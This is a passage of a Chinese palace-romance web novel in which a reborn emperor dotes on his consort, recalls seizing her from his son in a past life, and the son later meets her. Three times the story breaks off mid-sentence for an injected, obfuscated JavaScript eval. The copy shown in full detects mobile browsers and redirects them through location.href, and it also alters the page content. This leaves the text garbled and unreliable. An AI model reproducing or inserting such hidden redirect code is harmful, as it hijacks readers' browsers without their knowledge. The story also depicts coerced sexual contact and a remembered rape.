禅真年纪小,他比她大了二十岁,总是要多让她一些,不能再把她逼急了。 见他重新露出温和的表情,禅真才放下心来,小心翼翼往他身边靠近了一些,神态中露出几分郁闷。 “见了杨婕妤,妾身才发现自己与您相处的时间最短,对您也不比其他人了解。” 陈定尧起身拉住她一只手,安慰道:“若朕早知晓你的存在,就该将你早早抱到朕的身边,当做公主一般呵护长大,这样从生至死你都陪伴在朕的身边。” 听见他这般荒唐言语,禅真忍不住笑:“那样妾身可就成不了您的妃子了,陛下与公主岂不是乱了辈分。” 陈定尧一只手环住她的腰:“朕想要你,可不会管什么人伦天理。” 禅真只当他在说笑哄自己开心。 见她窃喜如同一只小狐狸般,他忍不住凑近:“还是,你嫌弃朕年纪大了?” 禅真抬眸横他一眼,“妾身哪里敢?” 陛下正当盛年,容貌气度比她见过任何一个男子都要优秀,禅真此前虽然对他有些抗拒,但也只是畏惧他的身份,从来没有嫌弃过他的年龄。 “与你相比,朕确实年纪大了一些。”陈定尧其实并不在意这一点,若是在他年轻刚登基时,也无法像如今这般肆无忌惮地宠着她。 就像云沂,前世虽喜欢她,可仍旧受到许多限制让她受了无数委屈,面对他也只能无奈将心爱之人拱手相让。 禅真以为他心中因此感伤,反握住他的手:“妾身真的不在意,陛下年老的时候,妾身也一样是白发苍苍了,与陛下白头到老并没有什么不好。” 陈定尧怔了一下,随即有些激动地双手捧住她的脸:“禅真,你此言可是愿意同朕白头到老了?” 禅真有些不明白他神情为何如此激动,但仍是点点头:“若是一直这般,妾身自然是愿意的。” 只要陛下不改变对她的心意,她自然也不会辜负陛下。 原来得偿所愿是这般滋味。陈定尧情不自禁地低头吻了下她的眉心,上天总算不枉他重生一回。 正在这时,忽听郭开在门外通传。 “陛下,晋王殿下求见。” 20. 陛下目光寻着她去 望向下首身穿玄衣,面容较之前世记忆中略显青涩,却更意气风发的云沂,陈定尧心中百感交集。 这是他所有儿子中长相心性最像他的一个,也曾经是他最喜欢最寄予厚望的一个,直到他有了元昭。元昭是他心爱的女子所生,长相也与禅真如出一辙,精致的像个玉娃娃,让他只想把全天下最好的东西都捧到他们母子面前来。 他看元昭是怀抱着一颗慈父之心,可看云沂更像是看年轻时的自己。或许也因为他们父子太过相似,所以才会为同一个人爱若痴狂,最终亲缘割裂反目成仇。 “父皇,这是儿臣这段时间所批阅的公文,请您过目。”不似面上表现的冷静沉稳,陈云沂在面对自己的父皇时心中总是难免有些忐忑。母妃说他最像父皇,可他总以为自己比之父皇还远远不如,又期待着自己终有一天能像父皇那般权掌天下,一令既出莫敢不从。 陈定尧展开随意翻看了两眼,云沂自小是他教导长大的,处理政事的手段也几乎是他年轻时的翻版,只是他在云沂这个年纪时已登基三年有余,行事之间少了许多顾忌,而云沂此时的手段还是要软和一些。 “朕知晓了。”他随手将公文往桌上一放,“你这段时间的行事还算不错,比你两个兄弟强上不少。” 豫王被淑妃教导的过于狂妄愚蠢,庄王由于出身原因个性又太过软弱,是以他从未将他二人纳入储君人选。 “父皇过誉了。”云沂却不敢接下这句夸赞,虽然他也认为豫王和庄王不堪大用,可闹到明面上到底有损兄弟和气。父皇如今身强力壮,远远不到夺嫡之机,维持着表面上的和气总是能给父皇和文武百官留下一个好印象。 陈定尧不欲揭穿他,都是从万千皇子中杀出来的有些事彼此心知肚明即可。 “朕听闻,豫王以南巡一事当着百官的面对你大行嘲讽,此事可是当真?” 陈云沂面不改色:“只是兄弟之间的一点口角之争,劳父皇挂念了。” 暗地里却绷直了脊背,豫王那个蠢货,口无遮拦什么话都敢说出口,他倒不在意豫王的那些嘲讽,只担心父皇会因此认为自己对南巡一事心存怨念。 “是吗?”陈定尧不以为意地轻笑了一下,手指轻轻扣在桌案上,从容不迫的动作却带着一股逼人的气势,“那云沂是何感想,可会因此怨恨于朕?” 陈云沂额角沁出一丝冷汗,“儿臣不敢,父皇做任何决定自有您的道理。” 他抬头看向高高在上的帝王,脸上流露出倾慕的神情,“儿臣视父皇为天,对父皇的决议自然也不会有任何质疑。” 陈定尧冷眼看着他的反应,果然此时的云沂还是太过青涩,难怪前世禅真在他身边时受了那么多委屈,无论是淑妃还是晋王府中的后眷,谁都可以折辱她,而云沂空有宠爱却无护住她的能力。 他从不后悔从云沂手中将禅真抢了过来,她那么柔弱,只有用至高无上的权力才能将她密不透风地呵护起来。 “南巡之事朕确实存有私心,你以后便会知晓。”他居高临下地看着云沂,他无法只简单地将云沂看作自己的儿子,在禅真面前,云沂是唯一一个与自己旗鼓相当的男人。 前世无数次,他远远旁观着他们之间的相处,面上不动声色,心里却嫉妒的发狂。 …… “殿下!” 那是一次大型的皇家秋猎,皇子身边都携带着自己宠爱的姬妾,众多女眷之中,唯独她最耀眼夺目,仿佛一颗在夜色中散发出莹润光泽的明珠。 他身穿氅衣,在人群之中一眼就注意到了她,那个曾瑟瑟发抖地跪在淑妃宫门前的女子。即便只是一面之缘,那幅娇柔又可怜的面容竟然就这样深深印刻在了他的记忆中,让他隔着这样远的距离就将她认了出来。 云沂飞身从马上跃下,大步上前将她揽入怀中,远远望去并不能辨认出他们之间在聊着什么言语,但是看她在云沂怀中突然羞红了脸,俯首埋进了他的胸膛,而云沂脸上也满是温柔笑意,他胸口蓦然就生起一股不平之气。 他不知这股郁气来自何处,只是下意识侧身向身边的郭开吩咐了两句。 接到郭开的话,云沂与她之间缱绻的氛围顿时被打破。 云沂安抚性地轻轻拍了拍她的后背,在她担忧的目光中向自己走来。 而他不知为何,视线却越过了向自己走来的云沂,看向了他身后的女子。偶然之间,女子撞上了他的视线,那双琉璃一般的双眸先是一怔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她似乎才发觉到有人来到了此处,蓦然回首,一双闪着碎光的琉璃双眸就这样撞进了他的眼中,微风卷起了她的长发,细长的发丝撩拨在她的脸上,而她整个人都仿佛要融化在了日光中。 只那么一眼,就让他从此以后夜不成眠。 21. 陛下失控了 “奴婢见过陛下。” 她似乎很畏惧对上他的视线,只是匆匆一眼就立即慌张地垂下了眼眸。 陈定尧从马上跃下,不顾身旁随从的目光,大步走到她面前,居高临下注视着她。 “朕记得你。” 女子有些惊讶地抬头看了他一眼,似乎没想到自己竟会在陛下心中留下印象。 “你怎会一人在此?”他环顾四周,此处虽位于猎场外围,但保不齐会有深处的野兽出没,而她身边并无护卫随侍,显然算不上安全。 莫非是那些女眷排挤了她?他眉峰微皱,心中忽然又升起了几分莫名的怒火,还是云沂对她不够重视,导致那些护卫也不把她放在心上,连她独自一人离开了也不曾发觉。 女子避开他灼热的眼神,小声回应:“回陛下,奴婢只是想到河边散散心。” 他敏锐地察觉到一丝隐情,却没有说破,只是笑道:“此处风景甚好,朕也恰巧想在附近散散步,不若陪朕一起?” 他这话其实已有几分出格,可他并未意识到,心中只被一股难言的雀跃之情占满。 “陛下,”女子向后退了一步,悄悄拉开了一丝距离,似乎是当他误解了自己身份,小心翼翼地道,“奴婢是晋王殿下府上的侍妾,不知陛下是否记得?” 他脸上的表情瞬间沉了下来,只因方才那会儿他确实遗忘了她的身份,经她提醒才终于意识到,这是自己的儿子云沂的女人,并非后宫中那些可以任他施为的妃嫔。 一股强烈的不甘涌上他的心头,而此刻他还尚不知道这种情绪从何处而来。 “朕忘了。”他唇边勾起一抹笑,眼底却一片冷意,“此事的确不妥。” 一阵微妙难言的尴尬氛围在二人之间蔓延开来。 他静默无声地凝视着她柔若无骨的娇躯,感受到她因畏惧而瑟瑟发抖,和那日在淑妃宫门前的初见一般,许久他才移开眼转身离开。 本已打算从此以后彻底将她的身影从自己心中拔去,上马之前他却不受控制地留下一句:“朕命侍卫护送你回去。” 之后他不顾侍卫在身后追赶,转头纵马奔进了猎场深处,风声猎猎从他耳边呼啸而过,而他胸膛之中被一股无名怒火所填满,这滔天的怒火又尽数灌输进了他手中的箭矢之上。 搭弓射箭,一路上凡是遇见的猎物没有一只能够从他的飞矢之下逃离出去。 最后死在他弓箭之下的是一只罕见的银狐。 “陛下!”方问拾起已无了生息的狐狸呈到他面前,“陛下神勇,这只银狐毛发洁白柔顺实乃罕见。” 他收起弓箭,看着那只银狐,脑海中忽然浮现出她的脸庞,若是搭上一身由银狐皮毛制成的大氅,不知是何种模样。 “将这只银狐……带下去赏赐给晋王。” “臣领命。”众人只当他是看重晋王,并未多想。 他满心期待忐忑,第一回激动的像个毛头小子,迫不及待地想知道她收到这身皮毛时欣喜的神情,却又自矜身份不愿出手派人前去打听。 从傍晚到第二日的凌晨,他拒绝了所有随驾的妃嫔侍从,一人在营帐中焦躁难安地睁眼到了天亮。 直至云沂满面春风地出现在众人面前,而她却一整天都未曾踏出过云沂的营帐。 同为男人,他自然知晓是什么因由。 一条毒蛇悄然缠绕上了他的心脏,拖着他往泥泞中下坠,而他整颗心都被浓重的酸涩之意所裹挟,几乎压迫的他呼吸不上来。 他不敢去深思,一旦任那个危险的念头出笼,后果他将再也无法自控,可即使拼命自抑,一个声音仍在他脑海中不停回荡。 为什么是云沂?偏偏就是云沂? …… “陛下?”一声呼唤将他从回忆中拽了出来。 他抬眸,令他朝思暮想寝食难安的面容就近在眼前。 禅真被他抬眸时眼中的冷意吓了一大跳,不知为何陛下从见过晋王殿下回来后就像变了个人一般,望着书案低头出神了好久,连她都喊了好几次都仿佛没有听见。 见陛下终于回神,禅真顿时舒了一口气,陛下方才那模样还真的挺吓人的。可没等她安下心来,一股强大的力量就将她按倒在了桌案上,高高垒起的奏折“噼里啪啦”被推倒,散落了一地。 “陛下!”禅真惊慌失措地望着他,下一刻就被陛下俯身下来吻住,一切言语都被封堵回了口中。 陛下吻的很用力,完全不复前一夜的温柔,呼吸灼热,似乎恨不得想把她吞入腹中。 禅真头脑中白茫茫的一片,身体完全承受不住如此激烈的吻,浑身瘫软地躺在书案上,只能无力地任他施为。 陛下……这是怎么了? 唇舌交缠间漏出的暧昧喘息声在书房里回荡着,将整片空间都染上一层缠绵的春意。 禅真原本以为陛下只是一时兴起,可过了许久陛下的动作仍未停止,手掌还越来越向下,甚至有要拉开她的衣裙的趋势。等陛下的手掌抚上她的胸口时,她终于察觉到陛下的用意,立马剧烈地在他身下挣扎起来。 “陛下,不要……不要在这里!” 她眼中慌张地都涌出了泪水,拼命想要阻止他,然而与陛下比起来她实在显得势单力薄如同蜉蝣撼树,所幸陛下感受到她的挣扎,终于停了下来没有更进一步。 陈定尧回过神时,只见禅真被自己牢牢禁锢在了双臂之间,躺在书案上满眼惊惶、泪水横淌地望着自己,鬓发散乱铺满了整张桌子。 她那样惊慌畏惧的模样昨夜在床榻间都未曾出现过,让他心头一痛。 “莫怕,是朕错了。” 他伸手轻轻抹去她眼角的泪水,将她从书案上抱起,小心翼翼地揽入自己怀中,安抚地轻拍着她仍在颤抖的后背。 禅真额头抵住他的胸膛,忍不住在他怀中哭红了双眼,声音中仍未褪去恐惧。 “陛下,妾身害怕。” 若是陛下在这里不管不顾地要了她,传出去后肯定会有无数骂名奔向她,唾弃她在青天白日处理公务之所就引诱陛下行周公之事,到时候一个“祸国妖妃”的骂名她是无论如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13377208|139608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何都摆脱不下了。 “不怕呵。”陈定尧轻声哄着她,“朕保证不会有人知晓。” 他知道她在害怕担心什么,前世他亦曾在此处不顾她意愿强幸过她,当时她的反应比现在更要激烈。重来一世,他发誓不会再强迫她,今日却是他没压抑住失了控,是他对不起她。 强烈的自责和歉疚灌满了他的心脏,也让他手下的动作越发温柔,想要做些弥补。 禅真在他不停的安抚中终于停止了颤抖,抬起头时眼中仍是通红,“陛下是怎么了,突然这般吓了妾身好大一跳?” 陈定尧此时已经冷静下来,重新换上了她喜爱的温柔笑容:“无事,只是想起一些前尘往事罢了。” 能让陛下如此失态,想必那前尘往事对陛下而言并不算美好的回忆。 她轻轻踮起脚在他坚毅的下巴上亲了一下,“陛下,若是些不好的往事,不如就忘了吧。” 她不想再见到那样失态的陛下。 陈定尧怅然地伸手抚过被她轻吻过的地方,顺应地点了点头:“好,朕都听你的。” 今世禅真先一步成为了他的人,至今仍未有机会同云沂见面,前世那些事情也不可能再次发生。从始至终从头到尾,禅真只会属于他一个人,他绝不容许再有另一个人染指。 禅真见他神色间恢复到了之前的从容才放下心来,笑着转移话题。 “陛下方才与晋王殿下聊了什么事?说起来妾身还未见过晋王殿下,不知道殿下长的什么模样?”她没有注意到陛下微微僵硬的身体,“妾身听闻所有皇子中,唯独晋王殿下与陛下长相最为相似。” 她有些好奇,毕竟陛下曾经最为看重晋王殿下,甚至曾经想过要让晋王殿下代驾南巡一事在宫中并非秘密,她多多少少也听闻了一些。 “无非一些前朝政事。”陛下的声音平稳与之前无异,一只手温和地将她额前的乱发拨到了耳后,“至于云沂,朕的确曾经最为看重他,不过,以后可不一定。” 禅真满眼疑惑:“为什么呀?” 她想着晋王殿下能叫陛下看重,在所有皇子中能力必定是十分出众的,而且他的生母又是同列四妃其一的淑妃娘娘,陛下若是有心立晋王殿下为储君也并不出奇。 陈定尧手掌轻轻抚过她的小腹:“因为朕有了更加期待的皇子。” 他不否认自己的偏心,只是因为爱她,就想要将最重要最珍贵的一切都送到与她共同诞下的孩子面前。 听了这番话,禅真突然明白了他的意思,顿时有些受宠若惊,更是陷入深深的惶恐之中。 “陛下,妾身……”她不知该说什么,陛下明明已经有了长成并且能力出众的皇子,却就这样放弃了。“陛下,妾身能得您的宠爱已是大幸,万万不敢再做他想。” “朕知晓,你向来容易满足。”陈定尧微微一笑,也不再提起先前之事。 前世他与禅真在一起三年才有了元昭,他虽然想再次见到那个孩子,可是也并不着急。 只要禅真在他身边,元昭总有一天会回来。 22. 相见 南巡归来,到底还是积累下许多政事要处理。 禅真看着因他们先前那通胡闹而变得杂乱无章的书桌,以及零零散散被推到在地上的奏折,不禁红了脸。幸好没有叫外人看见,否则她和陛下在勤政殿里胡闹的事传出去还得了。 “陛下下次可不许这样了。”她眉目流转轻轻横了他一眼,上前捡起落在地上的奏折,重新整整齐齐地给摆放好。 陈定尧从善如流:“嗯,朕知错了。” 等人将书案整理干净,他才趁人不注意,一把将人揽住坐进了自己怀中,贴着他耳边低笑:“不过一见禅真,朕便忍不住想要亲近。” 他之前从未觉得自己是一个急色之人,可是自从遇见她后,却满心情热焦躁难耐地比寻常少年郎都不如。 “陛下。”接二连三被轻薄,禅真已经有些恼羞成怒,伸手推了推他紧贴上来的胸膛,“您再这样,以后妾身便再也不往勤政殿来了。” 美人玉颜羞红,眼含薄怒的模样别有几分情致。陈定尧抓起她一只手放在唇边轻吻了一下,“禅真莫恼,若见不到你朕免不得心心念念,更要无心政事了。” 禅真原本只是有些害羞,听了这话心尖却忍不住软了下来。早上醒来时没有看见陛下身影,其实她是有些惶恐不安的,被封为贵妃一事她至今仍未有多少实感,生怕醒来只是幻梦一场,陛下其实已经厌倦了她。可知晓了陛下竟如她一般心情,才让她终于放下心来。 “陛下说出去也不怕您的臣子笑话。” 察觉出她内心的软化,他微微挑眉:“任他们笑话如何?” 左右前世他受到的笑话和讽刺也不少,强夺子妾这样的事他既然敢做,自然已预料到了自己将在史书上留下怎样的一笔污名。 他曾踌躇满志想要成为像圣祖一般的明君,前面的三十多年也一直在为此努力,可若是明君就必须得克制住对她的喜爱不能更进一步拥她入怀的话,他想就算之前所创下的功绩被一笔勾销、在史书上留下骂名也无所谓。只要他与禅真在后世能够并名而立,提起一人总是避免不了与另一个名字相纠缠。 “您可是陛下。” 禅真自小是听着他的事迹长大,在他曾是皇子的时候就驰骋疆场无人匹敌,登基之后更是大刀阔斧改革政事才有如今的河清海晏盛世。这样英明神武的陛下,竟也会有沉湎儿女私情的一天,而造就这一切的人还是自己。 “妾身年少时听父亲谈起陛下的事迹,也曾对您心生向往,想知道这么英明神武的陛下会是一个怎样的人。如今看来,陛下比妾身所想的还要柔情许多。” “是吗?”陈定尧忍不住更抱紧了她。 原来在前世禅真也曾经向往过他,只是他后面对她那般强迫终究是让她失望了吧,所以才至死也不肯接受他。 “朕不会再让你失望了。” 这一世,他会尽力成为她心中最英明的陛下,最贴心的夫君。 禅真掩唇一笑,从他怀中起身,到一旁泡了一盏新茶呈至他面前:“那还请陛下喝了这杯茶,便着手处理政务吧。” 陈定尧也不再闹她,低头轻轻抿了口茶水,赞道:“入口回甘,禅真这手艺倒是越发精进了。” “陛下惯会花言巧语。”自己冲茶的手艺绝对算不上多好,至少比起他宫中主管茶水的宫人是万万不如的,要说这茶水好喝多办还是占了御茶本身优质的功劳。但陛下这般夸奖她心里总是高兴的,“既然陛下喜欢,便由这盏茶代替妾身陪伴陛下吧,妾身可要先行告退了。” 她一个后妃,再搁勤政殿在下去总归不像话,陛下力排众议封她为妃本已承担了许多来自朝堂上的压力,她可不想再给大臣们留下什么话柄。 “禅真好狠的心。”陈定尧嘴上调笑,却没再阻止她,只是用眼睛上下打量了她一眼,忍俊不禁,“不过禅真当真是要以这幅形容直接出去么?” 听他这么一说,禅真才忽然反应过来,先前与陛下那通胡闹后,她的衣衫已是有些凌乱,连发髻都散落了一些,这样直接走出去的话叫人看了难免会产生遐想。 她又羞又恼地轻捶了他一把:“陛下,看您做的好事。” 陈定尧单手撑在桌上神情温和地注视着她:“禅真莫恼,朕让宫人进来替你整理一番。” 说罢,当真叫了位御前宫女进来,带她到了里间重新整理一通。禅真瞧着自己衣着外形上无甚异样,才终于放心地离开了勤政殿。 …… 宫女进殿通传时,淑妃正神色怏怏地对镜描眉,可不管如何描画她的容颜却始终不如年轻时靓丽,更比不过宫中的新人,心中恨极之下一把将手中的螺黛摔在了桌上。 “娘娘!”宫女被吓了一大跳。 淑妃闭上眼,再睁眼时已经收敛好了所有情绪,面无表情问道:“什么事?” 宫女到底是服侍了她许久,知晓淑妃向来脾气便不算太好,此时也屏着气息敛声回道:“回禀娘娘,殿下到了。” 听见是自己的儿子云沂来了,淑妃心情才好上一些。她的云沂,从小便是她的骄傲,无论相貌还是才识都是所有皇子中最出众的,哪怕陛下近年来已经不太宠她,可看在云沂的面上对她的赏赐在宫中仍是独一档。 红颜易老,君王情薄,便是杨婕妤前两年再受宠如今不亦被君王冷落不得召见,可她不一样,她有云沂,有陛下最看重的皇子,永远也不至于像其他女人一样失了依靠。 “还不快请殿下进来。” 她懒懒地伸手将发间的簪子扶正,微微笑道。 前一次踏足淑妃殿中时,陈云沂脸上还带着志得意满的轻笑,暗自里嘲讽豫王狂妄自大,迟早有一天会讨了父皇厌烦,今日心情却不可同日而语。只是他沉默惯了,更是早已学会隐藏自己的真实情绪,即使在自己至亲的母妃面前也没有丝毫显露出来。 淑妃一见他眼睛便亮了起来,亲切地招呼他坐到自己身边来。 “吾儿,可是已见过你父皇了?” 陈云沂眸光微闪,面上牵起一丝微笑:“回母妃,儿臣确已先去拜见过父皇。” “陛下可曾说了什么?吾儿此次监国有功,想必是得了不少夸赞。”淑妃笑意盈盈地将一盏热茶亲手送到他面前,眼含期待地看着他。 陈云沂垂下头,借饮茶的动作掩盖住了唇边的苦笑。 他自认在代为监国的这段时间并未出错,即便豫王当着众臣的面对自己大肆嘲讽,他也忍下了,甚至还帮兄弟们收拾了两回烂摊子。本以为父皇回来后即便不对自己有所赏赐,至少态度也该是肯定的,可回想起方才父皇对自己的冷淡语气,他却头回感到有些不知所措。 父皇此前虽然待自己一向严厉,可即便他偶尔犯了错也只是拧着眉头,在一旁耐心地为他纠正解惑,从未像今日一般,用那样防备警惕的目光看过自己,仿佛自己并非他亲生的儿子,而是将要与他争夺宝物的对手。 他虽有野心想要在父皇百年之后登上那个位置,但父皇如今尚春秋鼎盛,他万万不敢有冒天下之大不韪弑君夺位的念头,最多也只是想着将自己那两个兄弟稳稳压下去,让他们在父皇面前永远不得出头,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈云沂皱眉不语,毕竟他已是出宫建府的成年皇子了,不便再掺合后宫之事。 “幸好母妃还有你,云沂,你可不能再让母妃失望了。” 对上淑妃期盼和依赖的目光,陈云沂只能沉默地应下了。 离开淑妃宫殿时,陈云沂驻足仰望着头顶的这片天空,要登上最高的那个位置,他还有很长的路要走,没有太多时间留给他感伤。 行至太掖池时,忽见前方一列明晃晃的辇车仪仗正浩浩荡荡地向内廷方向行来。 他停下脚步,微眯了眯眼。这般大的仪仗,又是往内廷方向,想来应是后宫中的哪位高位妃嫔,贤妃和德妃他曾多次打过交道,而这仪仗队却面目全新从未见过,辇中之人便只能是宫中那位新封的贵妃了。 倒是够巧,但既然撞上了他也没有回避之理,于是落落大方地在原地等待着辇车停下后,才拱手见礼。 “云沂见过贵妃娘娘。” 禅真方才从勤政殿出来,没曾想这么巧,回宫路上就遇见了之前一直令她好奇的晋王殿下。她轻轻用一只手掀开帷帐,只将将露出半面脸庞,有些好奇地打量着这位看上去年方十七八岁的少年。 果真是与陛下十分相像,面容英俊冷肃,只是比陛下看上去要显得青涩许多,也更加意气风发不似陛下那般有年岁沉淀下来的稳定气质。 “是晋王殿下吗?请起。”她抿唇一笑,或许是这少年与陛下实在太过相像,她心中一见便颇有好感。 而陈云沂早在见到她容颜的那刻就已怔住了。